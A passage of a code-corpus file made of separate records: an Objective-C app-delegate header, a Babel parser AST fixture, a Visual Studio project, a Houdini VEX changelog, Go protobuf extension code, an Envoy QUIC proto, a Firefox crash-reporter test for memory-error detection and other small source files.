openURL:(id)arg2 sourceApplication:(id)arg3 annotation:(id)arg4;\n- (BOOL)application:(id)arg1 handleOpenURL:(id)arg2 bundleID:(id)arg3;\n- (id)decodeUrlAttrs:(id)arg1;\n- (BOOL)handleOpenURL:(id)arg1 bundleID:(id)arg2;\n- (void)application:(id)arg1 willChangeStatusBarFrame:(struct CGRect)arg2;\n- (void)applicationWillTerminate:(id)arg1;\n- (void)applicationDidBecomeActive:(id)arg1;\n- (void)applicationWillEnterForeground:(id)arg1;\n- (void)handleOpenPush;\n- (void)applicationDidEnterBackground:(id)arg1;\n- (void)applicationWillResignActive:(id)arg1;\n- (void)resetBadge;\n- (void)application:(id)arg1 didReceiveLocalNotification:(id)arg2;\n- (void)application:(id)arg1 didReceiveRemoteNotification:(id)arg2;\n- (void)jumpToChatWhenReceivePush:(id)arg1 remotePush:(BOOL)arg2;\n- (void)application:(id)arg1 didFailToRegisterForRemoteNotificationsWithError:(id)arg2;\n- (void)application:(id)arg1 didRegisterForRemoteNotificationsWithDeviceToken:(id)arg2;\n- (void)doSendTokenTimeOut;\n- (void)doSendToken:(id)arg1 error:(BOOL)arg2;\n- (BOOL)application:(id)arg1 didFinishLaunchingWithOptions:(id)arg2;\n- (void)mainUISetting;\n- (void)monitorResource;\n- (void)mainLauching:(id)arg1;\n- (void)logEssencialInfo;\n- (void)clearServiceObject;\n- (void)initServiceObject;\n- (void)registerLazyExtensionListener;\n- (void)registerClsMethodObserver;\n- (void)releaseSeviceCenter;\n- (void)RenamePath;\n- (void)disableExceptionHandle;\n- (void)crashReportDoneNotification:(id)arg1;\n- (BOOL)tryCrashReportAfterRun;\n- (BOOL)tryCrashReportOnRun;\n\n@end\n\n"}
+{"text": "{\n  \"type\": \"File\",\n  \"start\":0,\"end\":50,\"loc\":{\"start\":{\"line\":1,\"column\":0},\"end\":{\"line\":5,\"column\":1}},\n  \"errors\": [\n    \"SyntaxError: super can only be used with function calls (i.e. super()) or in property accesses (i.e. super.prop or super[prop]) (3:15)\"\n  ],\n  \"program\": {\n    \"type\": \"Program\",\n    \"start\":0,\"end\":50,\"loc\":{\"start\":{\"line\":1,\"column\":0},\"end\":{\"line\":5,\"column\":1}},\n    \"sourceType\": \"script\",\n    \"interpreter\": null,\n    \"body\": [\n      {\n        \"type\": \"ClassDeclaration\",\n        \"start\":0,\"end\":50,\"loc\":{\"start\":{\"line\":1,\"column\":0},\"end\":{\"line\":5,\"column\":1}},\n        \"id\": {\n          \"type\": \"Identifier\",\n          \"start\":6,\"end\":7,\"loc\":{\"start\":{\"line\":1,\"column\":6},\"end\":{\"line\":1,\"column\":7},\"identifierName\":\"A\"},\n          \"name\": \"A\"\n        },\n        \"superClass\": null,\n        \"body\": {\n          \"type\": \"ClassBody\",\n          \"start\":7,\"end\":50,\"loc\":{\"start\":{\"line\":1,\"column\":7},\"end\":{\"line\":5,\"column\":1}},\n          \"body\": [\n            {\n              \"type\": \"ClassMethod\",\n              \"start\":13,\"end\":48,\"loc\":{\"start\":{\"line\":2,\"column\":4},\"end\":{\"line\":4,\"column\":5}},\n              \"static\": false,\n              \"key\": {\n                \"type\": \"Identifier\",\n                \"start\":13,\"end\":14,\"loc\":{\"start\":{\"line\":2,\"column\":4},\"end\":{\"line\":2,\"column\":5},\"identifierName\":\"b\"},\n                \"name\": \"b\"\n              },\n              \"computed\": false,\n              \"kind\": \"method\",\n              \"id\": null,\n              \"generator\": false,\n              \"async\": false,\n              \"params\": [],\n              \"body\": {\n                \"type\": \"BlockStatement\",\n                \"start\":16,\"end\":48,\"loc\":{\"start\":{\"line\":2,\"column\":7},\"end\":{\"line\":4,\"column\":5}},\n                \"body\": [\n                  {\n                    \"type\": \"ReturnStatement\",\n                    \"start\":26,\"end\":42,\"loc\":{\"start\":{\"line\":3,\"column\":8},\"end\":{\"line\":3,\"column\":24}},\n                    \"argument\": {\n                      \"type\": \"OptionalMemberExpression\",\n                      \"start\":33,\"end\":41,\"loc\":{\"start\":{\"line\":3,\"column\":15},\"end\":{\"line\":3,\"column\":23}},\n                      \"object\": {\n                        \"type\": \"Super\",\n                        \"start\":33,\"end\":38,\"loc\":{\"start\":{\"line\":3,\"column\":15},\"end\":{\"line\":3,\"column\":20}}\n                      },\n                      \"property\": {\n                        \"type\": \"Identifier\",\n                        \"start\":40,\"end\":41,\"loc\":{\"start\":{\"line\":3,\"column\":22},\"end\":{\"line\":3,\"column\":23},\"identifierName\":\"b\"},\n                        \"name\": \"b\"\n                      },\n                      \"computed\": false,\n                      \"optional\": true\n                    }\n                  }\n                ],\n                \"directives\": []\n              }\n            }\n          ]\n        }\n      }\n    ],\n    \"directives\": []\n  }\n}"}
+{"text": "\r\n\r\n  \r\n    \r\n      Debug\r\n      Win32\r\n    \r\n    \r\n      Debug\r\n      x64\r\n    \r\n    \r\n      Release\r\n      Win32\r\n    \r\n    \r\n      Release\r\n      x64\r\n    \r\n  \r\n  \r\n    {39AD6ECC-8BAD-4368-95E4-A1AA2F077BB7}\r\n    Win32Proj\r\n    frametest\r\n    $(SolutionDir)bin\\$(Platform)_$(Configuration)\\\r\n    $(SolutionDir)bin\\obj\\$(RootNamespace)_$(Platform)_$(Configuration)\\\r\n  \r\n  \r\n  \r\n    Application\r\n    true\r\n    Unicode\r\n    v141\r\n  \r\n  \r\n    Application\r\n    true\r\n    Unicode\r\n    v141\r\n  \r\n  \r\n    Application\r\n    false\r\n    true\r\n    Unicode\r\n    v141\r\n  \r\n  \r\n    Application\r\n    false\r\n    true\r\n    Unicode\r\n    v141\r\n  \r\n  \r\n  \r\n  \r\n  \r\n    \r\n  \r\n  \r\n    \r\n  \r\n  \r\n    \r\n  \r\n  \r\n    \r\n  \r\n  \r\n  \r\n    true\r\n    $(IncludePath);$(UniversalCRT_IncludePath);$(SolutionDir)..\\..\\lib;$(SolutionDir)..\\..\\programs;$(VCInstallDir)include;$(VCInstallDir)atlmfc\\include;$(WindowsSDK_IncludePath);\r\n  \r\n  \r\n    true\r\n    $(IncludePath);$(UniversalCRT_IncludePath);$(SolutionDir)..\\..\\lib;$(SolutionDir)..\\..\\programs;$(VCInstallDir)include;$(VCInstallDir)atlmfc\\include;$(WindowsSDK_IncludePath);\r\n    true\r\n  \r\n  \r\n    false\r\n    $(IncludePath);$(UniversalCRT_IncludePath);$(SolutionDir)..\\..\\lib;$(SolutionDir)..\\..\\programs;$(VCInstallDir)include;$(VCInstallDir)atlmfc\\include;$(WindowsSDK_IncludePath);\r\n  \r\n  \r\n    false\r\n    $(IncludePath);$(UniversalCRT_IncludePath);$(SolutionDir)..\\..\\lib;$(SolutionDir)..\\..\\programs;$(VCInstallDir)include;$(VCInstallDir)atlmfc\\include;$(WindowsSDK_IncludePath);\r\n    true\r\n  \r\n  \r\n    \r\n      \r\n      \r\n      Level4\r\n      Disabled\r\n      WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)\r\n      true\r\n      false\r\n    \r\n    \r\n      Console\r\n      true\r\n    \r\n  \r\n  \r\n    \r\n      \r\n      \r\n      Level4\r\n      Disabled\r\n      WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)\r\n      true\r\n      true\r\n      /analyze:stacksize295252 %(AdditionalOptions)\r\n    \r\n    \r\n      Console\r\n      true\r\n    \r\n  \r\n  \r\n    \r\n      Level4\r\n      \r\n      \r\n      MaxSpeed\r\n      true\r\n      true\r\n      WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)\r\n      false\r\n      false\r\n    \r\n    \r\n      Console\r\n      true\r\n      true\r\n      true\r\n    \r\n  \r\n  \r\n    \r\n      Level4\r\n      \r\n      \r\n      MaxSpeed\r\n      true\r\n      true\r\n      WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)\r\n      false\r\n      true\r\n      /analyze:stacksize295252 %(AdditionalOptions)\r\n    \r\n    \r\n      Console\r\n      true\r\n      true\r\n      true\r\n    \r\n  \r\n  \r\n    \r\n    \r\n    \r\n    \r\n    \r\n  \r\n  \r\n    \r\n    \r\n    \r\n    \r\n    \r\n  \r\n  \r\n  \r\n  \r\n\r\n"}
+{"text": "Houdini add-on for Sublime Text:\n    https://github.com/teared/VEX\n\n\nRelease 7.1.2\n\n\n1. Updated for Houdini 18.\n\n2. New VEX functions added:\n\n    abspath\n    agentchannelnames\n    agentchannelvalue\n    agentchannelvalues\n    agentclipstarttime\n    agentrigfindchannel\n    agenttransformgroupmemberchannel\n    chrampderiv\n    chsop\n    combinelocaltransform\n    cregioncapturetransform\n    cregiondeformtransform\n    cregionoverridetransform\n    decodeattrib\n    decodeparm\n    encodeattrib\n    encodeparm\n    extractlocaltransform\n    ggx\n    lightstate\n    objectstate\n    oppreparmtransform\n    opprerawparmtransform\n    oprawparmtransform\n    pccone\n    pccone_radius\n    pcline\n    pcline_radius\n    pcsegment\n    pcsegment_radius\n    premul\n    relpath\n    removevertex\n    setagentchannelvalue\n    setagentchannelvalues\n    setdetailintrinsic\n    solvetriangleSSS\n\n    usd_addattrib\n    usd_addcollectionexclude\n    usd_addcollectioninclude\n    usd_addinversetotransformorder\n    usd_addorient\n    usd_addprim\n    usd_addprimvar\n    usd_addrelationshiptarget\n    usd_addrotate\n    usd_addscale\n    usd_addtotransformorder\n    usd_addtransform\n    usd_addtranslate\n    usd_attrib\n    usd_attribelement\n    usd_attriblen\n    usd_attribnames\n    usd_attribsize\n    usd_attribtimesamples\n    usd_attribtypename\n    usd_blockattrib\n    usd_blockprimvar\n    usd_blockprimvarindices\n    usd_blockrelationship\n    usd_boundmaterialpath\n    usd_clearmetadata\n    usd_cleartransformorder\n    usd_collectioncomputedpaths\n    usd_collectioncontains\n    usd_collectionexcludes\n    usd_collectionexpansionrule\n    usd_collectionincludes\n    usd_drawmode\n    usd_findtransformname\n    usd_flattenedprimvar\n    usd_flattenedprimvarelement\n    usd_getbbox\n    usd_getbbox_center\n    usd_getbbox_max\n    usd_getbbox_min\n    usd_getbbox_size\n    usd_getbounds\n    usd_getpointinstancebounds\n    usd_hasapi\n    usd_haspayload\n    usd_isactive\n    usd_isarray\n    usd_isarraymetadata\n    usd_isarrayprimvar\n    usd_isattrib\n    usd_iscollection\n    usd_iscollectionpath\n    usd_isindexedprimvar\n    usd_isinstance\n    usd_iskind\n    usd_ismetadata\n    usd_isprim\n    usd_isprimvar\n    usd_isrelationship\n    usd_isstage\n    usd_istransformreset\n    usd_istype\n    usd_isvisible\n    usd_kind\n    usd_localtransform\n    usd_makeattribpath\n    usd_makecollectionpath\n    usd_makepropertypath\n    usd_makerelationshippath\n    usd_metadata\n    usd_metadataelement\n    usd_metadatalen\n    usd_metadatanames\n    usd_name\n    usd_parentpath\n    usd_pointinstance_getbbox\n    usd_pointinstance_getbbox_center\n    usd_pointinstance_getbbox_max\n    usd_pointinstance_getbbox_min\n    usd_pointinstance_getbbox_size\n    usd_pointinstance_relbbox\n    usd_pointinstancetransform\n    usd_primvar\n    usd_primvarattribname\n    usd_primvarelement\n    usd_primvarelementsize\n    usd_primvarindices\n    usd_primvarinterpolation\n    usd_primvarlen\n    usd_primvarnames\n    usd_primvarsize\n    usd_primvartimesamples\n    usd_primvartypename\n    usd_purpose\n    usd_relationshipforwardedtargets\n    usd_relationshipnames\n    usd_relationshiptargets\n    usd_relbbox\n    usd_removerelationshiptarget\n    usd_setactive\n    usd_setattrib\n    usd_setattribelement\n    usd_setcollectionexcludes\n    usd_setcollectionexpansionrule\n    usd_setcollectionincludes\n    usd_setdrawmode\n    usd_setkind\n    usd_setmetadata\n    usd_setmetadataelement\n    usd_setprimvar\n    usd_setprimvarelement\n    usd_setprimvarelementsize\n    usd_setprimvarindices\n    usd_setprimvarinterpolation\n    usd_setpurpose\n    usd_setrelationshiptargets\n    usd_settransformorder\n    usd_settransformreset\n    usd_setvariantselection\n    usd_setvisible\n    usd_transformname\n    usd_transformorder\n    usd_transformsuffix\n    usd_transformtype\n    usd_typename\n    usd_uniquetransformname\n    usd_variants\n    usd_variantselection\n    usd_variantsets\n    usd_worldtransform\n\n    Tip: to read about new functions quickly, copy the list in empty\n    Sublime Text document, set VEX syntax and check documentation helpcards.\n"}
+{"text": "# -*- coding: utf-8 -*-\n\"\"\"\nCopyright (c) 2019, Jairus Martin.\n\nDistributed under the terms of the GPL v3 License.\n\nThe full license is in the file LICENSE, distributed with this software.\n\nCreated on Feb 2, 2019\n\n@author: jrm\n\"\"\"\nfrom inkcut.core.utils import load_icon\nfrom enaml.qt.QtWidgets import QApplication\nfrom enaml.widgets.api import Container, Form, Label, Field, ObjectCombo\n\n\nenamldef RawFdSettingsView(Container):\n    attr model\n    padding = 0\n    Form:\n        Label:\n            text =  QApplication.translate(\"raw\", \"Device path\")\n        Field:\n            text := model.device_path\n        Label:\n            text = QApplication.translate(\"raw\", \"Open mode\")\n        ObjectCombo:\n            items << list(model.get_member('mode').items)\n            selected := model.mode\n"}
+{"text": "data=/entry/bank28/data\nx-axis=/entry/bank28/time_of_flight\ny-axis=/entry/bank28/pixel_id\nx-axis-name=TOF\ntitle=/entry/title\nsample=/entry/sample/name\nInstrumentName=/entry/instrument/name\n"}
+{"text": "${TESTSROOTDIR}/tools/ordercounts.sh\n"}
+{"text": "function check(extra, kind, size, hasFreeStack) {\n  Assert.equal(extra.PHCKind, kind);\n\n  // This is a string holding a decimal address.\n  Assert.ok(/^\\d+$/.test(extra.PHCBaseAddress));\n\n  Assert.equal(extra.PHCUsableSize, size);\n\n  // These are strings holding comma-separated lists of decimal addresses.\n  // Sometimes on Mac they have a single entry.\n  Assert.ok(/^(\\d+,)*\\d+$/.test(extra.PHCAllocStack));\n  if (hasFreeStack) {\n    Assert.ok(/^(\\d+,)*\\d+$/.test(extra.PHCFreeStack));\n  } else {\n    Assert.ok(!extra.hasOwnProperty(\"PHCFreeStack\"));\n  }\n}\n\nadd_task(async function run_test() {\n  if (!(\"@mozilla.org/toolkit/crash-reporter;1\" in Cc)) {\n    dump(\n      \"INFO | test_crash_phc.js | Can't test crashreporter in a non-libxul build.\\n\"\n    );\n    return;\n  }\n\n  await do_crash(\n    function() {\n      crashType = CrashTestUtils.CRASH_PHC_USE_AFTER_FREE;\n    },\n    function(mdump, extra) {\n      // CRASH_PHC_USE_AFTER_FREE uses 32 for the size.\n      check(extra, \"FreedPage\", 32, /* hasFreeStack */ true);\n    },\n    true\n  );\n\n  await do_crash(\n    function() {\n      crashType = CrashTestUtils.CRASH_PHC_DOUBLE_FREE;\n    },\n    function(mdump, extra) {\n      // CRASH_PHC_DOUBLE_FREE uses 64 for the size.\n      check(extra, \"FreedPage\", 64, /* hasFreeStack */ true);\n    },\n    true\n  );\n\n  do_crash(\n    function() {\n      crashType = CrashTestUtils.CRASH_PHC_BOUNDS_VIOLATION;\n    },\n    function(mdump, extra) {\n      // CRASH_PHC_BOUNDS_VIOLATION uses 96 for the size.\n      check(extra, \"GuardPage\", 96, /* hasFreeStack */ false);\n    },\n    true\n  );\n});\n"}
+{"text": "// Copyright 2010 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license that can be found in the LICENSE file.\n\npackage proto\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"reflect\"\n\n\t\"google.golang.org/protobuf/encoding/protowire\"\n\t\"google.golang.org/protobuf/proto\"\n\t\"google.golang.org/protobuf/reflect/protoreflect\"\n\t\"google.golang.org/protobuf/reflect/protoregistry\"\n\t\"google.golang.org/protobuf/runtime/protoiface\"\n\t\"google.golang.org/protobuf/runtime/protoimpl\"\n)\n\ntype (\n\t// ExtensionDesc represents an extension descriptor and\n\t// is used to interact with an extension field in a message.\n\t//\n\t// Variables of this type are generated in code by protoc-gen-go.\n\tExtensionDesc = protoimpl.ExtensionInfo\n\n\t// ExtensionRange represents a range of message extensions.\n\t// Used in code generated by protoc-gen-go.\n\tExtensionRange = protoiface.ExtensionRangeV1\n\n\t// Deprecated: Do not use; this is an internal type.\n\tExtension = protoimpl.ExtensionFieldV1\n\n\t// Deprecated: Do not use; this is an internal type.\n\tXXX_InternalExtensions = protoimpl.ExtensionFields\n)\n\n// ErrMissingExtension reports whether the extension was not present.\nvar ErrMissingExtension = errors.New(\"proto: missing extension\")\n\nvar errNotExtendable = errors.New(\"proto: not an extendable proto.Message\")\n\n// HasExtension reports whether the extension field is present in m\n// either as an explicitly populated field or as an unknown field.\nfunc HasExtension(m Message, xt *ExtensionDesc) (has bool) {\n\tmr := MessageReflect(m)\n\tif mr == nil || !mr.IsValid() {\n\t\treturn false\n\t}\n\n\t// Check whether any populated known field matches the field number.\n\txtd := xt.TypeDescriptor()\n\tif isValidExtension(mr.Descriptor(), xtd) {\n\t\thas = mr.Has(xtd)\n\t} else {\n\t\tmr.Range(func(fd protoreflect.FieldDescriptor, _ protoreflect.Value) bool {\n\t\t\thas = int32(fd.Number()) == xt.Field\n\t\t\treturn !has\n\t\t})\n\t}\n\n\t// Check whether any unknown field matches the field number.\n\tfor b := mr.GetUnknown(); !has && len(b) > 0; {\n\t\tnum, _, n := protowire.ConsumeField(b)\n\t\thas = int32(num) == xt.Field\n\t\tb = b[n:]\n\t}\n\treturn has\n}\n\n// ClearExtension removes the extension field from m\n// either as an explicitly populated field or as an unknown field.\nfunc ClearExtension(m Message, xt *ExtensionDesc) {\n\tmr := MessageReflect(m)\n\tif mr == nil || !mr.IsValid() {\n\t\treturn\n\t}\n\n\txtd := xt.TypeDescriptor()\n\tif isValidExtension(mr.Descriptor(), xtd) {\n\t\tmr.Clear(xtd)\n\t} else {\n\t\tmr.Range(func(fd protoreflect.FieldDescriptor, _ protoreflect.Value) bool {\n\t\t\tif int32(fd.Number()) == xt.Field {\n\t\t\t\tmr.Clear(fd)\n\t\t\t\treturn false\n\t\t\t}\n\t\t\treturn true\n\t\t})\n\t}\n\tclearUnknown(mr, fieldNum(xt.Field))\n}\n\n// ClearAllExtensions clears all extensions from m.\n// This includes populated fields and unknown fields in the extension range.\nfunc ClearAllExtensions(m Message) {\n\tmr := MessageReflect(m)\n\tif mr == nil || !mr.IsValid() {\n\t\treturn\n\t}\n\n\tmr.Range(func(fd protoreflect.FieldDescriptor, _ protoreflect.Value) bool {\n\t\tif fd.IsExtension() {\n\t\t\tmr.Clear(fd)\n\t\t}\n\t\treturn true\n\t})\n\tclearUnknown(mr, mr.Descriptor().ExtensionRanges())\n}\n\n// GetExtension retrieves a proto2 extended field from m.\n//\n// If the descriptor is type complete (i.e., ExtensionDesc.ExtensionType is non-nil),\n// then GetExtension parses the encoded field and returns a Go value of the specified type.\n// If the field is not present, then the default value is returned (if one is specified),\n// otherwise ErrMissingExtension is reported.\n//\n// If the descriptor is type incomplete (i.e., ExtensionDesc.ExtensionType is nil),\n// then GetExtension returns the raw encoded bytes for the extension field.\nfunc GetExtension(m Message, xt *ExtensionDesc) (interface{}, error) {\n\tmr := MessageReflect(m)\n\tif mr == nil || !mr.IsValid() || mr.Descriptor().ExtensionRanges().Len() == 0 {\n\t\treturn nil, errNotExtendable\n\t}\n\n\t// Retrieve the unknown fields for this extension field.\n\tvar bo protoreflect.RawFields\n\tfor bi := mr.GetUnknown(); len(bi) > 0; {\n\t\tnum, _, n := protowire.ConsumeField(bi)\n\t\tif int32(num) == xt.Field {\n\t\t\tbo = append(bo, bi[:n]...)\n\t\t}\n\t\tbi = bi[n:]\n\t}\n\n\t// For type incomplete descriptors, only retrieve the unknown fields.\n\tif xt.ExtensionType == nil {\n\t\treturn []byte(bo), nil\n\t}\n\n\t// If the extension field only exists as unknown fields, unmarshal it.\n\t// This is rarely done since proto.Unmarshal eagerly unmarshals extensions.\n\txtd := xt.TypeDescriptor()\n\tif !isValidExtension(mr.Descriptor(), xtd) {\n\t\treturn nil, fmt.Errorf(\"proto: bad extended type; %T does not extend %T\", xt.ExtendedType, m)\n\t}\n\tif !mr.Has(xtd) && len(bo) > 0 {\n\t\tm2 := mr.New()\n\t\tif err := (proto.UnmarshalOptions{\n\t\t\tResolver: extensionResolver{xt},\n\t\t}.Unmarshal(bo, m2.Interface())); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tif m2.Has(xtd) {\n\t\t\tmr.Set(xtd, m2.Get(xtd))\n\t\t\tclearUnknown(mr, fieldNum(xt.Field))\n\t\t}\n\t}\n\n\t// Check whether the message has the extension field set or a default.\n\tvar pv protoreflect.Value\n\tswitch {\n\tcase mr.Has(xtd):\n\t\tpv = mr.Get(xtd)\n\tcase xtd.HasDefault():\n\t\tpv = xtd.Default()\n\tdefault:\n\t\treturn nil, ErrMissingExtension\n\t}\n\n\tv := xt.InterfaceOf(pv)\n\trv := reflect.ValueOf(v)\n\tif isScalarKind(rv.Kind()) {\n\t\trv2 := reflect.New(rv.Type())\n\t\trv2.Elem().Set(rv)\n\t\tv = rv2.Interface()\n\t}\n\treturn v, nil\n}\n\n// extensionResolver is a custom extension resolver that stores a single\n// extension type that takes precedence over the global registry.\ntype extensionResolver struct{ xt protoreflect.ExtensionType }\n\nfunc (r extensionResolver) FindExtensionByName(field protoreflect.FullName) (protoreflect.ExtensionType, error) {\n\tif xtd := r.xt.TypeDescriptor(); xtd.FullName() == field {\n\t\treturn r.xt, nil\n\t}\n\treturn protoregistry.GlobalTypes.FindExtensionByName(field)\n}\n\nfunc (r extensionResolver) FindExtensionByNumber(message protoreflect.FullName, field protoreflect.FieldNumber) (protoreflect.ExtensionType, error) {\n\tif xtd := r.xt.TypeDescriptor(); xtd.ContainingMessage().FullName() == message && xtd.Number() == field {\n\t\treturn r.xt, nil\n\t}\n\treturn protoregistry.GlobalTypes.FindExtensionByNumber(message, field)\n}\n\n// GetExtensions returns a list of the extensions values present in m,\n// corresponding with the provided list of extension descriptors, xts.\n// If an extension is missing in m, the corresponding value is nil.\nfunc GetExtensions(m Message, xts []*ExtensionDesc) ([]interface{}, error) {\n\tmr := MessageReflect(m)\n\tif mr == nil || !mr.IsValid() {\n\t\treturn nil, errNotExtendable\n\t}\n\n\tvs := make([]interface{}, len(xts))\n\tfor i, xt := range xts {\n\t\tv, err := GetExtension(m, xt)\n\t\tif err != nil {\n\t\t\tif err == ErrMissingExtension {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\treturn vs, err\n\t\t}\n\t\tvs[i] = v\n\t}\n\treturn vs, nil\n}\n\n// SetExtension sets an extension field in m to the provided value.\nfunc SetExtension(m Message, xt *ExtensionDesc, v interface{}) error {\n\tmr := MessageReflect(m)\n\tif mr == nil || !mr.IsValid() || mr.Descriptor().ExtensionRanges().Len() == 0 {\n\t\treturn errNotExtendable\n\t}\n\n\trv := reflect.ValueOf(v)\n\tif reflect.TypeOf(v) != reflect.TypeOf(xt.ExtensionType) {\n\t\treturn fmt.Errorf(\"proto: bad extension value type. got: %T, want: %T\", v, xt.ExtensionType)\n\t}\n\tif rv.Kind() == reflect.Ptr {\n\t\tif rv.IsNil() {\n\t\t\treturn fmt.Errorf(\"proto: SetExtension called with nil value of type %T\", v)\n\t\t}\n\t\tif isScalarKind(rv.Elem().Kind()) {\n\t\t\tv = rv.Elem().Interface()\n\t\t}\n\t}\n\n\txtd := xt.TypeDescriptor()\n\tif !isValidExtension(mr.Descriptor(), xtd) {\n\t\treturn fmt.Errorf(\"proto: bad extended type; %T does not extend %T\", xt.ExtendedType, m)\n\t}\n\tmr.Set(xtd, xt.ValueOf(v))\n\tclearUnknown(mr, fieldNum(xt.Field))\n\treturn nil\n}\n\n// SetRawExtension inserts b into the unknown fields of m.\n//\n// Deprecated: Use Message.ProtoReflect.SetUnknown instead.\nfunc SetRawExtension(m Message, fnum int32, b []byte) {\n\tmr := MessageReflect(m)\n\tif mr == nil || !mr.IsValid() {\n\t\treturn\n\t}\n\n\t// Verify that the raw field is valid.\n\tfor b0 := b; len(b0) > 0; {\n\t\tnum, _, n := protowire.ConsumeField(b0)\n\t\tif int32(num) != fnum {\n\t\t\tpanic(fmt.Sprintf(\"mismatching field number: got %d, want %d\", num, fnum))\n\t\t}\n\t\tb0 = b0[n:]\n\t}\n\n\tClearExtension(m, &ExtensionDesc{Field: fnum})\n\tmr.SetUnknown(append(mr.GetUnknown(), b...))\n}\n\n// ExtensionDescs returns a list of extension descriptors found in m,\n// containing descriptors for both populated extension fields in m and\n// also unknown fields of m that are in the extension range.\n// For the later case, an type incomplete descriptor is provided where only\n// the ExtensionDesc.Field field is populated.\n// The order of the extension descriptors is undefined.\nfunc ExtensionDescs(m Message) ([]*ExtensionDesc, error) {\n\tmr := MessageReflect(m)\n\tif mr == nil || !mr.IsValid() || mr.Descriptor().ExtensionRanges().Len() == 0 {\n\t\treturn nil, errNotExtendable\n\t}\n\n\t// Collect a set of known extension descriptors.\n\textDescs := make(map[protoreflect.FieldNumber]*ExtensionDesc)\n\tmr.Range(func(fd protoreflect.FieldDescriptor, v protoreflect.Value) bool {\n\t\tif fd.IsExtension() {\n\t\t\txt := fd.(protoreflect.ExtensionTypeDescriptor)\n\t\t\tif xd, ok := xt.Type().(*ExtensionDesc); ok {\n\t\t\t\textDescs[fd.Number()] = xd\n\t\t\t}\n\t\t}\n\t\treturn true\n\t})\n\n\t// Collect a set of unknown extension descriptors.\n\textRanges := mr.Descriptor().ExtensionRanges()\n\tfor b := mr.GetUnknown(); len(b) > 0; {\n\t\tnum, _, n := protowire.ConsumeField(b)\n\t\tif extRanges.Has(num) && extDescs[num] == nil {\n\t\t\textDescs[num] = nil\n\t\t}\n\t\tb = b[n:]\n\t}\n\n\t// Transpose the set of descriptors into a list.\n\tvar xts []*ExtensionDesc\n\tfor num, xt := range extDescs {\n\t\tif xt == nil {\n\t\t\txt = &ExtensionDesc{Field: int32(num)}\n\t\t}\n\t\txts = append(xts, xt)\n\t}\n\treturn xts, nil\n}\n\n// isValidExtension reports whether xtd is a valid extension descriptor for md.\nfunc isValidExtension(md protoreflect.MessageDescriptor, xtd protoreflect.ExtensionTypeDescriptor) bool {\n\treturn xtd.ContainingMessage() == md && md.ExtensionRanges().Has(xtd.Number())\n}\n\n// isScalarKind reports whether k is a protobuf scalar kind (except bytes).\n// This function exists for historical reasons since the representation of\n// scalars differs between v1 and v2, where v1 uses *T and v2 uses T.\nfunc isScalarKind(k reflect.Kind) bool {\n\tswitch k {\n\tcase reflect.Bool, reflect.Int32, reflect.Int64, reflect.Uint32, reflect.Uint64, reflect.Float32, reflect.Float64, reflect.String:\n\t\treturn true\n\tdefault:\n\t\treturn false\n\t}\n}\n\n// clearUnknown removes unknown fields from m where remover.Has reports true.\nfunc clearUnknown(m protoreflect.Message, remover interface {\n\tHas(protoreflect.FieldNumber) bool\n}) {\n\tvar bo protoreflect.RawFields\n\tfor bi := m.GetUnknown(); len(bi) > 0; {\n\t\tnum, _, n := protowire.ConsumeField(bi)\n\t\tif !remover.Has(num) {\n\t\t\tbo = append(bo, bi[:n]...)\n\t\t}\n\t\tbi = bi[n:]\n\t}\n\tif bi := m.GetUnknown(); len(bi) != len(bo) {\n\t\tm.SetUnknown(bo)\n\t}\n}\n\ntype fieldNum protoreflect.FieldNumber\n\nfunc (n1 fieldNum) Has(n2 protoreflect.FieldNumber) bool {\n\treturn protoreflect.FieldNumber(n1) == n2\n}\n"}
+{"text": "syntax = \"proto3\";\n\npackage envoy.config.listener.v3;\n\nimport \"envoy/config/core/v3/base.proto\";\n\nimport \"google/protobuf/duration.proto\";\nimport \"google/protobuf/wrappers.proto\";\n\nimport \"udpa/annotations/status.proto\";\nimport \"udpa/annotations/versioning.proto\";\n\noption java_package = \"io.envoyproxy.envoy.config.listener.v3\";\noption java_outer_classname = \"QuicConfigProto\";\noption java_multiple_files = true;\noption (udpa.annotations.file_status).package_version_status = ACTIVE;\n\n// [#protodoc-title: QUIC listener Config]\n\n// Configuration specific to the QUIC protocol.\n// Next id: 5\nmessage QuicProtocolOptions {\n  option (udpa.annotations.versioning).previous_message_type =\n      \"envoy.api.v2.listener.QuicProtocolOptions\";\n\n  // Maximum number of streams that the client can negotiate per connection. 100\n  // if not specified.\n  google.protobuf.UInt32Value max_concurrent_streams = 1;\n\n  // Maximum number of milliseconds that connection will be alive when there is\n  // no network activity. 300000ms if not specified.\n  google.protobuf.Duration idle_timeout = 2;\n\n  // Connection timeout in milliseconds before the crypto handshake is finished.\n  // 20000ms if not specified.\n  google.protobuf.Duration crypto_handshake_timeout = 3;\n\n  // Runtime flag that controls whether the listener is enabled or not. If not specified, defaults\n  // to enabled.\n  core.v3.RuntimeFeatureFlag enabled = 4;\n}\n"}
+{"text": "//\n//  AppDelegate.m\n//  F3X\n//\n//  Created by Guilherme Rambo on 05/09/15.\n//  Copyright (c) 2015 Canyon Produções. All rights reserved.\n//\n\n#import \"AppDelegate.h\"\n\n#import \"F3InformativeWindowController.h\"\n\n@import Updater;\n@import F3UI;\n\n@interface AppDelegate ()\n\n@property (unsafe_unretained) NSWindow *mainWindow;\n@property (unsafe_unretained) F3InformativeWindowController *infoWC;\n@property (nonatomic, assign, getter=isInDownloadingUpdateMode) BOOL downloadingUpdateMode;\n\n@end\n\n@implementation AppDelegate\n\n- (void)applicationDidFinishLaunching:(NSNotification *)aNotification {\n    self.mainWindow = [NSApplication sharedApplication].windows.lastObject;\n    \n    [[UDUpdater sharedUpdater] addObserver:self forKeyPath:@\"isDownloadingUpdate\" options:NSKeyValueObservingOptionNew context:nil];\n    \n    [self checkForUpdates:nil];\n}\n\n- (IBAction)checkForUpdates:(id)sender\n{\n    [UDUpdater sharedUpdater].updateAutomatically = YES;\n    \n    [[UDUpdater sharedUpdater] checkForUpdatesWithCompletionHandler:^(UDRelease *latestRelease) {\n        if (!sender) return;\n        \n        NSAlert *alert = [[NSAlert alloc] init];\n        \n        if (latestRelease) {\n            alert.messageText = NSLocalizedString(@\"New version available\", @\"New version available\");\n            alert.informativeText = 